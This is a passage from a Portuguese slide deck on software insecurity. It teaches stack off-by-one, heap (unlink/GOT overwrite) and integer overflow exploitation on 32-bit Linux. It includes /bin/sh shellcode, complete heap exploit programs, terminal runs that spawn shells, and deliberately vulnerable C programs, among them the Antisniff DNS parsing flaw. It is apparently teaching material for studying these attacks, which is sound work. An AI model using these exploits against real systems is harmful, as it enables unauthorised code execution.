                                                                 ebp, o deslocamento máximo do ebp da função
                                                                 chamadora é 255 bytes.

                                                                Quanto menor o valor do LSB do ebp salvo, menor
                                                                 será o deslocamento, e quanto menor o deslocamento,
                                                                 pode-se garantir que o novo ebp apontará para o fim
                                                                 do buffer.

                                                                Preenchendo o início do buffer com o endereço do
                                                                 payload o fluxo será redirecionado para o código
                                                                 injetado.
Stack Overflow
                                                                                                     O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Dos 200 bytes do buffer sobram 190 para a entrada do
                                                                 programa

                                                             [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `
                                                             ESP: 0xbffff454
                                                             [rafael@centos stack]$




                                                                O LSB deve ser menor.
                                                             [rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'`
                                                             [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin `
                                                             ESP: 0xbffff3f4
                                                             [rafael@centos stack]$
Stack Overflow
                                                                                    O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Deve-se considerar o tamanho do buffer:
                                                                      ret = 0xbffff3f4 - 200
Stack Overflow
                                                                                                     O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin `
                                                             Argv[1] = �������������������������������������
                                                             �������������������������������������������
                                                             ���������������������1�Ph//shh/bin��PS���
                                                                        ̀,���,���,���,���,���,���,���,���,���,���,���,�
                                                             ��,���,���,���,
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos stack]$
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Heap Overflow
                                                                                      Heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Área da memória reservada para alocação dinâmica de
                                                                 blocos de memória.

                                                                Cada bloco alocado possui um cabeçalho de controle.

                                                                Gerenciada e organizada por algorítimos complexos.
Heap Overflow
                                                                       Cabeçalho da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             chunk A   prev_size     prev_size         prev_size
                                                                          size      00010000b         00010000b
                                                                           fd
                                                                           bk          dados             dados
                                                             chunk B   prev_size
                                                                          size      00010001b          00010001b
                                                                           fd                         próximo livre
                                                                           bk          dados          anterior livre
                                                             chunk C   prev_size                       00010000b
                                                                          size     tam & PREV_INUSE       tam
                                                                           fd      próximo livre      próximo livre
                                                                           bk      anterior livre     anterior livre
Heap Overflow
                                                                            Campos do cabeçalho
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                prev_size: Caso o chunk anterior (fisicamente) esteja
                                                                 livre, contém tamanho deste chunk, caso contrário, é
                                                                 usado como espaço para dados do chunk anterior.

                                                                size: tamanho em bytes (múltiplos de 8) do chunk
                                                                 atual. Dois bits menos significativos PREV_INUSE e
                                                                 IS_MMAPPED.
Heap Overflow
                                                                            Campos do cabeçalho
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                fd: próximo chunk na bin. Caso chunk esteja alocado
                                                                 é usado como área de dados.

                                                                bk: chunk anterior na bin. Caso chunk esteja alocado
                                                                 é usado como área de dados.
Heap Overflow
                                                                             Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Chunks livres ficam em uma lista duplamente
                                                                 encadeada chamada bin.

                                                                Essa lista é controlada pelos campos fd e bk do
                                                                 cabeçalho.

                                                                Há uma bin para cada tamanho de chunk (8, 64, 512,
                                                                 etc).
Heap Overflow
                                                                             Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Quando free() é chamada em um endereço de
                                                                 memória (área de dados de um chunk), os chunks
                                                                 fisicamente adjacentes são checados a fim de fazer
                                                                 uma fusão gerando um chunk maior.

                                                                Assim sendo, o chunk livre tem que ser retirado da bin
                                                                 onde se encontra, e só então a fusão pode acontecer.
Heap Overflow
                                                                              Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                unlink() é chamada no chunk.


                                                                       #define unlink( P,BK,FD) {   
                                                                           BK = P->bk;              
                                                                           FD = P->fd;              
                                                                           FD->bk = BK;             
                                                                           BK->fd = FD;             
                                                                       }
Heap Overflow
                                                                            Organização da heap
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Controlando fd e bk do chunk P é possível
                                                                 sobrescrever qualquer endereço de memória.
Heap Overflow
                                                                           Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char payload[] = /*jmp*/
                                                                              "xebx0a”
                                                                              “AAAAAAAAAA”
                                                                              /*shellcode*/
                                                                              "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
                                                                              "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
                                                                              "x80";

                                                             int main (void){
                                                                  int *aux;
                                                                  void (*foo)() = NULL;
                                                                  char *ptr1, *ptr2;

                                                                 ptr1 = malloc (128);
                                                                 ptr2 = malloc (16);
Heap Overflow
                                                                          Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 aux = ptr2;
                                                                 *aux = ((char*)&foo) - 12; /* FD 2*/
                                                                 aux++;
                                                                 *aux = payload; /* BK 2*/

                                                                 aux = ptr2+16;
                                                                 *aux = 0xdefaced; /* prev_size 3*/
                                                                 aux++;
                                                                 *aux = 0xdefaced & ~0x1; /*size 3*/

                                                                 free (ptr1);
                                                                 if( foo )
                                                                       foo();
                                                             }
Heap Overflow
                                                                          Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                fd do segundo chunk recebe o endereço a ser
                                                                 sobrescrito menos 12 (FD->bk = FD+12).

                                                                bk recebe valor (comprimento de um ponteiro) a ser
                                                                 colocado no endereço alvo.

                                                                O campo size do terceiro chunk recebe um valor
                                                                 qualquer em que o bit PREV_INUSE esteja
                                                                 desativado.
Heap Overflow
                                                                          Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Quando free() é chamada para desalocar o primeiro
                                                                 chunk, o campo size do terceiro chunk é testado, e
                                                                 como o bit PREV_INUSE está desativado unlink()
                                                                 será chamada no segundo chunk de modo que se possa
                                                                 fazer a junção do primeiro e do segundo.

                                                                foo então recebe o endereço de payload. payload+8
                                                                 (BK->fd = BK+8) recebe endereço de foo menos 12.
Heap Overflow
                                                                                 Alterando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Como são sobrescritos 4 bytes a partir de payload+8
                                                                  haverão instruções ilegais no meio do shellcode.


                                                                                                 payload+8

                                                                             jmp 0xa            dummy        shellcode

                                                                                                  0xa



                                                             [rafael@centos heap]$ ./heap_overflow_ex1
                                                             sh-3.2$
Heap Overflow
                                                                           Forjando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char payload[] = /*jmp*/
                                                                              "xebx0a”
                                                                              “AAAAAAAAAA”
                                                                              /*shellcode*/
                                                                              "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
                                                                              "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
                                                                              "x80";

                                                             int main(){
                                                                  int *aux;
                                                                  void (*foo)() = NULL;
                                                                  char *ptr1, *ptr2;

                                                                 ptr1 = malloc (128);
                                                                 ptr2 = malloc (16);
Heap Overflow
                                                                           Forjando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 aux = ptr2-12;
                                                                 *aux = 0xdefaced & ~0x1; /*size fake 3*/

                                                                 aux++;
                                                                 *aux = 0xdefaced; /*prev_size 2*/
                                                                 aux++;
                                                                 *aux = -8 | 0x1; /* size 2*/
                                                                 aux++;
                                                                 *aux = ((char*)&foo) - 12; /* FD 2*/
                                                                 aux++;
                                                                 *aux = payload; /* BK 2*/

                                                                 free (ptr1);
                                                                 if( foo )
                                                                       foo();
                                                             }
Heap Overflow
                                                                           Forjando terceiro chunk
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                O terceiro chunk localiza-se na posição (ptr2-8) +
                                                                 *(ptr2-4).

                                                                free() entende que o campo size do terceiro chunk
                                                                 localiza-se em (ptr2-12).

                                                                Na representação de -8 o bit PREV_INUSE está
                                                                 desativado então unlink() é chamada no chunk 2.
Heap Overflow
                                                                             A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             chunk A      prev_size           prev_size
                                                                         00010000b           00010000b
                                                                                             0xdefaced
                                                                            dados            0xdefaced
                                                             chunk B                          shellcode
                                                                         00010001b           00010001b
                                                                                           (GOT entry) - 12
                                                                            dados           shellcode addr
                                                             chunk C                         0xdefaced
                                                                        tam & PREV_INUSE   tam & ~PREV_INUSE
                                                                         próximo livre      próximo livre
                                                                         anterior livre     anterior livre
Heap Overflow
                                                                                     A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                O atacante controla o chunk A. Os primeiros 8 bytes
                                                                 correspondem aos campos fd e bk do chunk e serão
                                                                 sobrescritos ao se inserir o chunk na bin.

                                                                Shellcode é injetado.

                                                                Controlando bk e fd do segundo chunk pode-se
                                                                 sobrescrever qualquer endereço. Basta desabilitar o
                                                                 flag PREV_INUSE do terceiro chunk.
Heap Overflow
                                                                                   A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                É possível colocar o endereço do payload em
                                                                 qualquer lugar da memória.

                                                                Mas como fazer o payload ganhar o controle do eip?

                                                                    R: GOT
Heap Overflow
                                                                                   A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                É através da Global Offset Table que funções de
                                                                 bibliotecas compartilhadas são carregadas
                                                                 dinamicamente.

                                                                Chamadas de função fazem referência à GOT. Na
                                                                 primeira vez que uma função é chamada um endereço
                                                                 é alocado para a mesma. Esse endereço é colocado na
                                                                 GOT.

                                                                Chamadas subsequentes redirecionam o eip para o
                                                                 endereço encontrado na tabela.
Heap Overflow
                                                                                                   A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Sobrescrevendo o endereço 0x08049608 com o
                                                                  endereço de bar(), toda vez que free() for chamada o
                                                                  fluxo será direcionado para o código de bar().

                                                             [rafael@centos heap]$ objdump -R heap_overflow_ex2

                                                             heap_overflow_ex2:   file format elf32-i386

                                                             DYNAMIC RELOCATION RECORDS
                                                             OFFSET TYPE           VALUE
                                                             080495f0 R_386_GLOB_DAT __gmon_start__
                                                             08049600 R_386_JUMP_SLOT __gmon_start__
                                                             08049604 R_386_JUMP_SLOT __libc_start_main
                                                             08049608 R_386_JUMP_SLOT free
                                                             0804960c R_386_JUMP_SLOT malloc
                                                             [rafael@centos heap]$
Heap Overflow
                                                                          Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main( int argc, char * argv[] ){
                                                                  char *first, *second;

                                                                  if(argc != 2)
                                                                        return;

                                                                  first = malloc(666);
                                                                  second = malloc(12);

                                                                  strcpy( first, argv[1] );
                                                                  printf("%sn", first);

                                                                  free( first );
                                                                  free( second );
                                                             }
Heap Overflow
                                                                                          O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define FUNCTION_POINTER ( 0x08049628 )
                                                             #define CODE_ADDRESS           ( 0x804a008 + 2*4 )
                                                             char payload[] = /*jmp*/
                                                                              "xebx0a”
                                                                              “AAAAAAAAAA”
                                                                              /*shellcode*/
                                                                              "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
                                                                              "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
                                                                              "x80";

                                                             int main(){
                                                                  char *p, *argv[] = { "heap_overflow_ex3", buffer, NULL};
                                                                  char buffer[ 680 + 1 ];
                                                                  p = buffer;

                                                                 *((int*)p) = 0xdefaced; /*FD*/
                                                                 p += 4;
                                                                 *((int*)p) = 0xdefaced; /*BK*/
                                                                 p += 4;
Heap Overflow
                                                                                           O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 memcpy( p, payload, strlen(payload) );
                                                                 p += strlen( payload );
                                                                 memset( p, 'A', (680 - 4*5) - (2*4 + strlen(payload)) );
                                                                 p += ( 680 - 4*5 ) - ( 2*4 + strlen(payload) );

                                                                 *((int*)p) = 0xdefaced & ~0x1; /*size 3*/
                                                                 p += 4;
                                                                 *((int*)p) = 0xdefaced; /*prev_size 2*/
                                                                 p += 4;
                                                                 *((int*)p) = -8 | 0x1; /*size 2*/
                                                                 p += 4;
                                                                 *((int*)p) = FUNCTION_POINTER - 12; /*FD*/
                                                                 p += 4;
                                                                 *((int*)p) = CODE_ADDRESS; /*BK*/
                                                                 p += 4;
                                                                 *p = '0';
                                                                 execve(argv[0], argv, NULL);
                                                             }
Heap Overflow
                                                                                 O ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             chunk A     prev_size          prev_size
                                                                         00010000           00010000
                                                                                            0xdefaced
                                                                                            0xdefaced
                                                                           dados            shellcode        Fake C
                                                                                          0xdefaced & ~0x1

                                                             chunk B                        0xdefaced
                                                                         00010001            0xfffffff8
                                                                                          (GOT entry) - 12
                                                                           dados          shellcode addr
                                                                                                ...
                                                             chunk C   tam & PREV_INUSE   tam & PREV_INUSE
Heap Overflow
                                                                                Execução do ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos heap]$ ./exploit_heap_overflow_ex3
                                                             ë¬ï
                                                             AAAAAAAAAA1ÀPh//shh/binãPSá1Ò°
                                                                              ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAùÿÿžAAì¬ï
                                                             sh-3.2$
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Integer Overflow
                                                                          Representação de inteiro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Uma variável tem um valor limite ditado pelo
                                                                 tamanho da mesma na memória. Quando esse valor
                                                                 limite é ultrapassado a variável é zerada, pois foi
                                                                 estourado seu limite físico.

                                                                                 11111111b (255)
                                                                              + 00000001b (1)
                                                                               ------------------
                                                                               100000000b
Integer Overflow
                                                                            Unsigned overflow
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                   int main(){
                                                                          int i;
                                                                          unsigned char cont;

                                                                         cont = 0;
                                                                         for(i = 0; i < 300; i++)
                                                                               printf("%dn", cont++);
                                                                   }


                                                             ...
                                                             253
                                                             254
                                                             255
                                                             0
                                                             1
                                                             2
                                                             ...
Integer Overflow
                                                                          Representação de inteiro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                A representação de números negativos é feita através
                                                                 do complemento de 2.


                                                                      -4 = (~4)+1 <=>
                                                                      -4 = (~00000100b) + 1b <=>
                                                                      -4 = (11111011b) + 1b <=>
                                                                      -4 = 11111100b
Integer Overflow
                                                                          Representação de inteiro
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Uma variável deve especificar se representa valores
                                                                 signed (padrão) ou unsigned.

                                                                N bits representando valores unsigned podem assumir os
                                                                 valores [0,2ⁿ - 1].

                                                                Representando valores signed o msb é usado para
                                                                 representação de números negativos, logo o intervalo é
                                                                 [-2ⁿ˗¹, 2ⁿ˗¹ - 1].
Integer Overflow
                                                                                 Signed overflow
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                    int main(){
                                                                           int i;
                                                                           char cont;

                                                                          cont = 0;
                                                                          for(i = 0; i < 300; i++)
                                                                                printf("%dn", cont++);
                                                                    }


                                                             ...
                                                             125
                                                             126
                                                             127
                                                             -128
                                                             -127
                                                             -126
                                                             ...
Integer Overflow
                                                                             Conversões de tipo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Ao se converter um signed de tipo menor para um
                                                                 unsigned de tipo maior ocorre sign extension e um valor
                                                                 negativo passa a ser representado como um valor muito
                                                                 grande.

                                                                Ao se converter um signed de tipo menor para um signed
                                                                 de tipo maior ocorre sign extension e os valores são
                                                                 preservados.
Integer Overflow
                                                                             Conversões de tipo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Ao se converter um unsigned de tipo menor para um
                                                                 unsigned de tipo maior ocorre zero extension e o valor é
                                                                 preservado.

                                                                Ao se converter um tipo maior para um tipo menor ocorre
                                                                 truncamento de bytes e os valores podem ser alterados.

                                                                Ao se converter de signed para unsigned de mesmo tipo,
                                                                 a representação de bits não se altera mas o valor é
                                                                 interpretado de maneira diferente.
Integer Overflow
                                                                               Truncamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(void){
                                                                    int i;
                                                                    short s;
                                                                    char c;

                                                                   c = s = i = 0x41424344;
                                                                   printf("i = 0x%x (%d)n", i, i);
                                                                   printf("s = 0x%x (%d)n", s, s);
                                                                   printf("c = 0x%x (%d)n", c, c);
                                                             }
Integer Overflow
                                                                                               Truncamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Ocorre quando um valor é atribuído a uma variável que
                                                                  não tem capacidade para representá-lo completamente.
                                                                  Então os bits mais significativos são descartados.

                                                             [rafael@centos integer]$ ./integer_overflow_ex3
                                                             i = 0x41424344 (1094861636)
                                                             s = 0x4344 (17220)
                                                             c = 0x44 (68)
                                                             [rafael@centos integer]$
Integer Overflow
                                                                               Sign extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(void){
                                                                    int i;
                                                                    char c;

                                                                   i = c = (char)0xf0;
                                                                   printf("i = 0x%x (%d)n", i, i);
                                                                   printf("c = 0x%x (%d)n", c, c);

                                                                   i = c = (char)0x70;
                                                                   printf("i = 0x%x (%d)n", i, i);
                                                                   printf("c = 0x%x (%d)n", c, c);
                                                             }
Integer Overflow
                                                                                             Sign extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Ocorre quando um valor signed é convertido para um
                                                                  tipo maior. O valor é copiado, e o bit mais significativo é
                                                                  estendido para os bits não usados.

                                                             [rafael@centos integer]$ ./integer_overflow_ex4
                                                             i = 0xfffffff0 (-16)
                                                             c = 0xfffffff0 (-16)
                                                             i = 0x70 (112)
                                                             c = 0x70 (112)
                                                             [rafael@centos integer]$
Integer Overflow
                                                                           Zero extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(void){
                                                                    int i;
                                                                    unsigned char c;

                                                                   i = c = (unsigned char)0xf0;
                                                                   printf("i = 0x%x (%d)n", i, i);
                                                                   printf("c = 0x%x (%d)n", c, c);

                                                                   i = c = (unsigned char)0x70;
                                                                   printf("i = 0x%x (%d)n", i, i);
                                                                   printf("c = 0x%x (%d)n", c, c);
                                                             }
Integer Overflow
                                                                                             Zero extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Ocorre quando um valor unsigned é convertido para um
                                                                  tipo maior. O valor é copiado, e ocorre um extensão de
                                                                  zeros para os bits não usados.

                                                             [rafael@centos integer]$. ./integer_overflow_ex5
                                                             i = 0xf0 (240)
                                                             c = 0xf0 (240)
                                                             i = 0x70 (112)
                                                             c = 0x70 (112)
                                                             [rafael@centos integer]$
Integer Overflow
                                                                        Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(void){
                                                                    unsigned char x = 10, sub;

                                                                   if( (x-20) <= -1 )
                                                                         printf("x (%d) é menor que 20n", x);
                                                                   else
                                                                         printf("x (%d) é maior que 20n", x);

                                                                   sub = x-20;
                                                                   if( sub <= -1 )
                                                                         printf("x (%d) é menor que 20n", x);
                                                                   else
                                                                         printf("x (%d) é maior que 20n", x);
                                                             }
Integer Overflow
                                                                            Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Quando uma operação ocorre sobre uma variável, ela
                                                                 pode ser promovida para atender à expectativa do
                                                                 operador. Geralmente tudo é promovido para o tipo int.

                                                                Caso uma operação entre duas variáveis seja realizada, e
                                                                 uma delas é de tipo maior que int, a outra é promovida
                                                                 para esse tipo.

                                                                Se o operando unsigned for de tamanho maior ou igual
                                                                 ao do signed, promove-se o operando signed para o tipo
                                                                 do operando unsigned.
Integer Overflow
                                                                            Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Se a representação for a mesma (signed ou unsigned), o
                                                                 operando de tipo menor é promovido para o de tipo
                                                                 maior.

                                                                Se o operando signed tiver tamanho maior que o
                                                                 operando unsigned e puderem ser preservados os
                                                                 valores, promove-se o operando unsigned para o tipo do
                                                                 operando signed.
Integer Overflow
                                                                                      Promoção de inteiros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Se o operador signed tiver tamanho maior que o do
                                                                  operando unsigned, e não puderem ser preservados os
                                                                  valores, promovem-se ambos para unsigned com tipo do
                                                                  operando signed.

                                                             [rafael@centos integer]$ ./integer_overflow_ex6
                                                             x (10) é menor que 20
                                                             x (10) é maior que 20
                                                             [rafael@centos integer]$
Integer Overflow
                                                                       Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define MAXLEN       8

                                                             int main(){
                                                                    int len, n;
                                                                    char buffer[MAXLEN];

                                                                   scanf("%dn", &len);
                                                                   if(len > MAXLEN-1){
                                                                         fprintf(stderr, "tamanho requisitado maior do que o permitidon");
                                                                         return 1;
                                                                   }

                                                                   if( (n = fread(buffer, 1, len, stdin)) < 0 )
                                                                         return 1;

                                                                   buffer[n] = '0';
                                                                   printf("buffer %s", buffer);
                                                                   printf("n");
                                                             }
Integer Overflow
                                                                                 Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Como o programa usa fread() para ler da entrada padrão,
                                                                 devemos terminar a entrada com um EOF (ctrl-D).

                                                                Na checagem de tamanho, len é um número negativo
                                                                 muito pequeno. Na passagem para fread() é convertido
                                                                 para unsigned, sendo interpretado como um valor muito
                                                                 grande.
                                                             [rafael@centos integer]$ ./integer_overflow_ex7
                                                             -1
                                                             AAAABBBBCCCCDDDDEEEEFFFFbuffer: AAAABBBB
                                                             Segmentation fault
                                                             [rafael@centos integer]$
Integer Overflow
                                                                       Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define MAXLEN          200

                                                             int main(int argc, char *argv[]){
                                                                    unsigned char len;
                                                                    char buffer[MAXLEN];

                                                                    if(argc != 2)
                                                                         return 1;

                                                                    len = strlen(argv[1]);
                                                                    if(len > MAXLEN-1){
                                                                          fprintf(stderr, "argumento muito longon");
                                                                          return 1;
                                                                    }

                                                                    strcpy(buffer, argv[1]);
                                                                    printf("%sn", buffer);
                                                             }
Integer Overflow
                                                                              Programas vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                O comando perl passa 256 caracteres “A” como entrada.
                                                                 Esse valor não pode ser representado por len, com isso
                                                                 ocorre o truncamento e len recebe zero de
                                                                 strlen(argv[1]).

                                                             [rafael@centos integer]$ ./integer_overflow_ex8 `perl -e 'print "A"x256'`
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                             Segmentation fault
                                                             [rafael@centos integer]$
Integer Overflow
                                                                                 Antisniff v1.0
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                A seguinte função faz o parsing de um domínio de
                                                                 dns e copia os dados para nameStr.

                                                                Cada palavra do domínio é precedida por 1 byte
                                                                 que indica o tamanho da palavra.

                                                                O pacote termina com um byte 0x00, indicando o
                                                                 fim do pacote.
Integer Overflow
                                                                               Código do parsing
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char *indx;
                                                             int count;
                                                             char nameStr[MAX_LEN]; //256
                                                             ...
                                                             memset(nameStr, '0', sizeof(nameStr));
                                                             ...
                                                             indx = (char *)(pkt + rr_offset);
                                                             count = (char)*indx;

                                                             while (count){
                                                                    (char *)indx++;
                                                                    strncat(nameStr, (char *)indx, count);
                                                                    indx += count;

                                                                    count = (char)*indx;
                                                                    strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
                                                             }
                                                             nameStr[strlen(nameStr)-1] = '0';
Integer Overflow
                                                                            Buffer não gerenciado
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Não é feita nenhuma checagem de tamanho do
                                                                 buffer nameStr, o que possibilita um buffer
                                                                 overflow.

                                                                Enquanto count != 0 dados serão escritos no
                                                                 buffer.
Integer Overflow
                                                                        Vamos corrigir isso rápido!
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char *indx;
                                                             int count;
                                                             char nameStr[MAX_LEN]; //256
                                                             ...
                                                             memset(nameStr, '0', sizeof(nameStr));
                                                             ...
                                                             indx = (char *)(pkt + rr_offset);
                                                             count = (char)*indx;
                                                             while (count){
                                                                    if (strlen(nameStr) + count < ( MAX_LEN - 1) ){
                                                                          (char *)indx++;
                                                                          strncat(nameStr, (char *)indx, count);
                                                                          indx += count;
                                                                          count = (char)*indx;
                                                                          strncat(nameStr, ".",
                                                                          sizeof(nameStr) strlen(nameStr));
                                                                    }else count = 0;
                                                              }
                                                              nameStr[strlen(nameStr)-1] = '0';
Integer Overflow
                                                                     Problema com Signed extension
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                count é um signed controlado pelo usuário.

                                                                Passando um valor negativo para count esse valor
                                                                 será somado à strlen(nameStr) que é um valor
                                                                 unsigned.

                                                                count será promovido para unsigned int e se
                                                                 tornará um valor muito grande, que quando
                                                                 somado à strlen(nameStr) pode gerar um
                                                                 overflow, resultando em um número muito
                                                                 pequeno, passando então pelo teste.
Integer Overflow
                                                                                  Tempo é dinheiro!
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char *indx;
                                                             int count;
                                                             char nameStr[MAX_LEN]; //256
                                                             ...
                                                             memset(nameStr, '0', sizeof(nameStr));
                                                             ...
                                                             indx = (char *)(pkt + rr_offset);
                                                             count = (char)*indx;
                                                             while (count){
                                                                    if (strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){
                                                                          (char *)indx++;
                                                                          strncat(nameStr, (char *)indx, count);
                                                                          indx += count;
                                                                          count = (char)*indx;
                                                                          strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
                                                                    }else count = 0;
                                                              }
                                                              nameStr[strlen(nameStr)-1] = '0';
Integer Overflow
                                                                                   Cast inútil
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Nada mudou!

                                                                Por falta de conhecimento o desenvolvedor achou
                                                                 que quando count fosse negativo algo parecido
                                                                 com isso seria feito:

                                                                    strlen(nameStr) - ((-1)*count)
Integer Overflow
                                                                                Quanta manutenção!
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             unsigned char *indx;
                                                             unsigned int count;
                                                             unsigned char nameStr[MAX_LEN]; //256
                                                             ...
                                                             memset(nameStr, '0', sizeof(nameStr));
                                                             ...
                                                             indx = (char *)(pkt + rr_offset);
                                                             count = (char)*indx;
                                                             while (count){
                                                                    if (strlen(nameStr) + count < ( MAX_LEN - 1) ){
                                                                          indx++;
                                                                          strncat(nameStr, indx, count);
                                                                          indx += count;
                                                                          count = *indx;
                                                                          strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
                                                                    }else count = 0;
                                                              }
                                                              nameStr[strlen(nameStr)-1] = '0';
Integer Overflow
                                                                           Problemas Corrigidos!?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Em count = (char)*indx; o byte que especifica o
                                                                 tamanho da palavra é lido como um unsigned
